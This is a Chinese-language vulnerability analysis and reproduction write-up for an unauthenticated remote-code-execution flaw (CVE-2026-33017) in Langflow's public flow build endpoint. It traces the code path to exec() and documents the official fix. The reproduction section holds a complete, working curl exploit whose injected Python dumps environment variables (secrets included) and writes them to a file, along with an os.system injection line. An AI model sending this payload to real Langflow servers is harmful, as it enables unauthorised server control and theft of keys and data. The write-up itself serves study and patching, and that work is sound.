漏洞描述

Langflow 是一种用于构建多智能体和RAG应用的可视化框架
github上 star 146k
CVE-2026-33017 的根因在于公开构建接口仅校验 flow 是否公开,却允许
未认证用户提交任意流程图数据;后端又会在构图时读取其中的 code 字段并动态执行,最终导致未授权远程代码执行。攻击者可借此
读写文件、窃取密钥、访问数据库,甚至控制服务器。

评分:9.3
影响版本:<= 1.8.1

前置条件:

  1. Target Langflow 实例至少有一个公共流程(演示、聊天机器人、共享工作流程常见)
  2. 获得公共流程的UUID(可通过共享链接/URL发现)
  3. 无需认证——只需一个 cookie(任意字符串值)client_id



漏洞分析

来到src\backend\base\langflow\api\v1\chat.py(这里是公开接口)

可以看到

  • 这里没有 Depends(get_current_active_user)。
  • 同文件里认证版接口 /build/{flow_id}/flow 明确有 current_user: CurrentActiveUser
  • 公开版不仅可以提交 data,还把 owner_user 作为 current_user 传进了后续流程。

来到src\backend\base\langflow\api\utils\core.py

这里未认证请求
还可以携带自己的图定义 data
并让服务端在 owner 上下文中处理这张图

而认证版接口是这么做的



接着来到src\backend\base\langflow\api\utils\core.py
看看检查了什么

  • 总之就是验证了 flow_id 对应的 flow 是公开的
  • 但它完全没有验证请求体中的 data 是可信的



然后看看为什么前端为什么会把整张图发给 build_public_tmp
来到src\frontend\src\customization\utils\custom-buildUtils.ts

  • 如果是 Playground 的公开页面,就走 build_public_tmp
  • 不是就走 build

来到src\frontend\src\utils\buildUtils.ts

const postData = {};
  if (files) {
    postData["files"] = files;
  }
  if (nodes) {
    postData["data"] = {
      nodes,
      edges,
    };
  }
  • 如果前端手里有当前图的 nodes / edges
  • 就把它们打包成 data 发给后端



再来到src\frontend\src\utils\buildUtils.ts

const buildResponse = await fetch(buildUrl, {
  method: "POST",
  headers: {
    "Content-Type": "application/json",
  },
  body: JSON.stringify(postData),
  credentials: getFetchCredentials(),
});
  • 把 postData 发往构建接口
  • 如果 buildUrl 是公开页面,就意味着会把 data 发给 build_public_tmp

原因就是
“已认证编辑器提交当前图”是正常功能;
但“公开页面也复用同样的数据通道”就把未授权用户的图定义带进了后端执行链



再来到src\backend\base\langflow\api\build.py
``

  • 如果请求没有 data,服务端才会从数据库加载 flow。
  • 只要请求带了 data,服务端就直接用请求体中的 data.model_dump() 构图。
  • 而 build_public_tmp() 恰恰允许未授权请求带 data。

再回到src\backend\base\langflow\api\utils\core.py的build_graph_from_data

发现这里没有做任何的安全防护
然后看其中的Graph.from_payload() 到_instantiate_components_in_vertices()

src\lfx\src\lfx\graph\graph\base.py

def from_payload(...):
    if "data" in payload:
        payload = payload["data"]
    vertices = payload["nodes"]
    edges = payload["edges"]
    graph = cls(flow_id=flow_id, flow_name=flow_name, user_id=user_id, context=context)
    graph.add_nodes_and_edges(vertices, edges)

功能:

  • 如果外层有 data,就先拆开
  • 取出 nodes 和 edges
  • 新建图对象
  • 把这些节点和边塞进去

src\lfx\src\lfx\graph\graph\base.py

def add_nodes_and_edges(self, nodes, edges):
    self._vertices = nodes
    self._edges = edges
    self.raw_graph_data = {"nodes": nodes, "edges": edges}
    ...
    self._graph_data = process_flow(self.raw_graph_data)

功能:

  • 保存原始图数据
  • 交给 process_flow() 做流程标准化



src\lfx\src\lfx\graph\graph\base.py

def initialize(self) -> None:
    self._build_graph()
    self.build_graph_maps(self.edges)
    self.define_vertices_lists()

功能:

  • 开始真正构建图对象



src\lfx\src\lfx\graph\graph\base.py

def _build_graph(self) -> None:
    self.vertices = self._build_vertices()
    self.vertex_map = {vertex.id: vertex for vertex in self.vertices}
    self.edges = self._build_edges()
    self._build_vertex_params()
    self._instantiate_components_in_vertices()

功能:

  • 把前端节点变成后端 Vertex 对象
  • 解析参数
  • 然后立刻实例化组件

src\lfx\src\lfx\graph\graph\base.py

def _instantiate_components_in_vertices(self) -> None:
    for vertex in self.vertices:
        vertex.instantiate_component(self.user_id)

功能:

  • 遍历图里的每个顶点
  • 逐个实例化组件

这意味着:
恶意代码在“图初始化 / 组件实例化”阶段就会触发
不需要等到业务节点真正执行

src\lfx\src\lfx\graph\vertex\param_handler.py

def _process_direct_type_field(self, field_name: str, field: dict, params: dict[str, Any], load_from_db_fields: list[str]):
    val = field.get("value")

    if field.get("type") == "code":
        params = self._handle_code_field(field_name, val, params)

同文件

def _handle_code_field(self, field_name: str, val: Any, params: dict[str, Any]) -> dict[str, Any]:
    try:
        if field_name == "code":
            params[field_name] = val
        else:
            params[field_name] = ast.literal_eval(val) if val else None
    except Exception:
        params[field_name] = val
    return params

这两段的代码作用为

  1. 专门识别出名为 code 的字段
  2. 直接把源码字符串原样放进参数字典
  3. 只有“别的代码型字段”才尝试做字面量解析
    这一步没有任何安全净化
    所以只要攻击者把恶意 Python 放进 template.code.value,这段逻辑就会把它完整保留下来



之后来到src\lfx\src\lfx\custom\eval.py

def eval_custom_component_code(code: str) -> type["CustomComponent"]:
    class_name = validate.extract_class_name(code)
    return validate.create_class(code, class_name)
  • 先从源码里找出类名
  • 再调用 create_class() 真正创建类

跟进src\lfx\src\lfx\custom\validate.py

def extract_class_name(code: str) -> str:
    module = ast.parse(code)
    for node in module.body:
        if not isinstance(node, ast.ClassDef):
            continue
        for base in node.bases:
            if isinstance(base, ast.Name) and any(pattern in base.id for pattern in ["Component", "LC"]):
                return node.name
  • 用 AST 解析攻击者提供的源码
  • 找到第一个继承基类名字里包含 Component 或 LC 的类
  • 返回这个类名

也就是说:

  • 攻击代码里需要包含一个形如 class X(Component): ... 的类
  • 这样后续 create_class() 才知道要实例化哪个类
  • 这里也是构造payload的 关键,不能想写什么python代码就写什么



来到src\lfx\src\lfx\custom\validate.py

这段代码功能就是添加一些默认import、用AST解析争段代码………
最主要还是因为exec()就在这个函数里



来到同文件

def prepare_global_scope(module):
    exec_globals = globals().copy()
    imports = []
    import_froms = []
    definitions = []

    for node in module.body:
        if isinstance(node, ast.Import):
            imports.append(node)
        elif isinstance(node, ast.ImportFrom) and node.module is not None:
            import_froms.append(node)
        elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
            definitions.append(node)
    ...
    if definitions:
        combined_module = ast.Module(body=definitions, type_ignores=[])
        compiled_code = compile(combined_module, "<string>", "exec")
        exec(compiled_code, exec_globals)
  • 它先把源码中的顶层节点分成三类:
  • Import
  • ImportFrom
  • ClassDef / FunctionDef / Assign / AnnAssign
  • 然后把 definitions 重新组合成一个 AST 模块
  • 最后 compile(..., "exec")
  • 再 exec(compiled_code, exec_globals)

只要我们

_x = os.system("id")
  • 这是 ast.Assign,会进入 definitions,然后被 exec() 执行。
  • 又因为类定义会执行类体
  • ClassDef 也被放进 definitions,Python 在执行类定义时会先执行类体,再创建类对象。
  • 而且这是构图阶段执行,不是业务运行阶段执行
  • 所以即使 flow 后续没有真正跑起来,这里的恶意代码也已经执行了。

还有第二个exec():build_class_constructor()

也在同文件

def build_class_constructor(compiled_class, exec_globals, class_name):
    exec_locals = dict(locals())
    exec(compiled_class, exec_globals, exec_locals)
    exec_globals[class_name] = exec_locals[class_name]
  • 对编译好的类定义再次 exec()
  • 从执行结果里取出类对象

这意味着:

  • prepare_global_scope() 里已经有一次 exec()
  • build_class_constructor() 里又有一次 exec()
  • 所以如果恶意代码写在某些会重复求值的位置,理论上可能不止执行一次。
  • PoC 通常把恶意代码放在顶层 Assign,因为这条路径最稳定。

简化调用链

  1. `POST /api/v1/build_public_tmp/{flow_id}/flow
  2. `build_public_tmp()
  3. `verify_public_flow_and_get_user()
  4. `create_graph()
  5. `build_graph_from_data(payload=data.model_dump())
  6. `Graph.from_payload()
  7. `Graph.initialize()
  8. `_build_graph()
  9. `_instantiate_components_in_vertices()
  10. `instantiate_class()
  11. `eval_custom_component_code(code)
  12. `create_class()
  13. `prepare_global_scope()
  14. `exec()



漏洞复现

搭建环境 (我这里安装的是1.8.1)

uv venv
source .venv/bin/activate
uv pip install langflow==1.8.1
langflow run

打开浏览器访问127.0.0.1:7860

创建一个工作流也可以用命令创建



新开一个终端输入

# Get superuser token (no credentials needed when AUTO_LOGIN=true)
TOKEN=$(curl -s http://localhost:7860/api/v1/auto_login | jq -r '.access_token')

# Create a public flow
FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","data":{"nodes":[],"edges":[]},"access_type":"PUBLIC"}' \
  | jq -r '.id')

echo "Public Flow ID: $FLOW_ID"

这里为了复现直接通过AUTO_LOGIN获得flow_id

这里我们就获得了flow_id

接下来直接命令行执行EXP

# EXPLOIT: Send malicious flow data to the UNAUTHENTICATED endpoint
# NO Authorization header, NO API key, NO credentials
curl -X POST "http://localhost:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
  -H "Content-Type: application/json" \
  -b "client_id=attacker" \
  -d '{
    "data": {
      "nodes": [{
        "id": "Exploit-001",
        "type": "genericNode",
        "position": {"x":0,"y":0},
        "data": {
          "id": "Exploit-001",
          "type": "ExploitComp",
          "node": {
            "template": {
              "code": {
                "type": "code",
                "required": true,
                "show": true,
                "multiline": true,
                "value": "import os, socket, json as _json\n\n_proof = os.popen(\"env\").read().strip()\n_host = socket.gethostname()\n_write = open(\"/tmp/rce-proof\",\"w\").write(f\"{_proof} on {_host}\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name=\"X\"\n    outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n    def r(self)->Data:\n        return Data(data={})",
                "name": "code",
                "password": false,
                "advanced": false,
                "dynamic": false
              },
              "_type": "Component"
            },
            "description": "X",
            "base_classes": ["Data"],
            "display_name": "ExploitComp",
            "name": "ExploitComp",
            "frozen": false,
            "outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"__UNDEFINED__","cache":true,"allows_loop":false,"tool_mode":false,"hidden":null,"required_inputs":null,"group_outputs":false}],
            "field_order": ["code"],
            "beta": false,
            "edited": false
          }
        }
      }],
      "edges": []
    },
    "inputs": null
  }'


执行完会返回一个job_id,说明请求成功了,代码也被执行了

验证执行结果

cat /tmp/rce-proof


成功了



漏洞修复

官方修复





具体修了这些地方:

  • 在 src/backend/base/langflow/api/v1/chat.py 里,公开端点 build_public_tmp() 不再信任请求体里的 data。PR 说明明确写
    了:data 参数对 public flow “always ignored”,也就是未授权用户即使提交自定义 nodes/edges,后端也不会再用这份图来构
    建。
  • 同一个 chat.py 里加了安全审计日志。只要请求试图给 public flow 传 data,就会记录安全告警,日志里包含 flow_id、
    client_id 和 IP 地址,用于审计和后续事件响应。
  • 修复后的公开 flow 构建只会从数据库加载已保存的 flow 定义。这个点是 PR 的关键,因为漏洞的根因正是“公开端点优先使用攻
    击者提交的 flow data”现在这条信任链被切断了。这里“因此会回到受信任的数据库 flow 构图路径”是我结合 PR 描述和现有代
    码路径作出的推断。
  • build_public_tmp() 的签名也做了小调整,PR 摘要提到它更新为接受 log_builds: bool | None
  • 在 src/backend/tests/unit/test_chat_endpoint.py 里新增了 2 个安全测试:
  • test_build_public_tmp_rejects_custom_data
  • `test_build_public_tmp_data_parameter_is_ignored
    这两个测试用来验证:给公开端点塞恶意或任意 data 时,系统会记录安全告警,并且不会按攻击者提供的 flow data 去执行



参考文章

CVE: Common Vulnerabilities and Exposures
Langflow 中通过公共流构建端点进行未认证的远程代码执行 ·警示 ·langflow-ai/langflow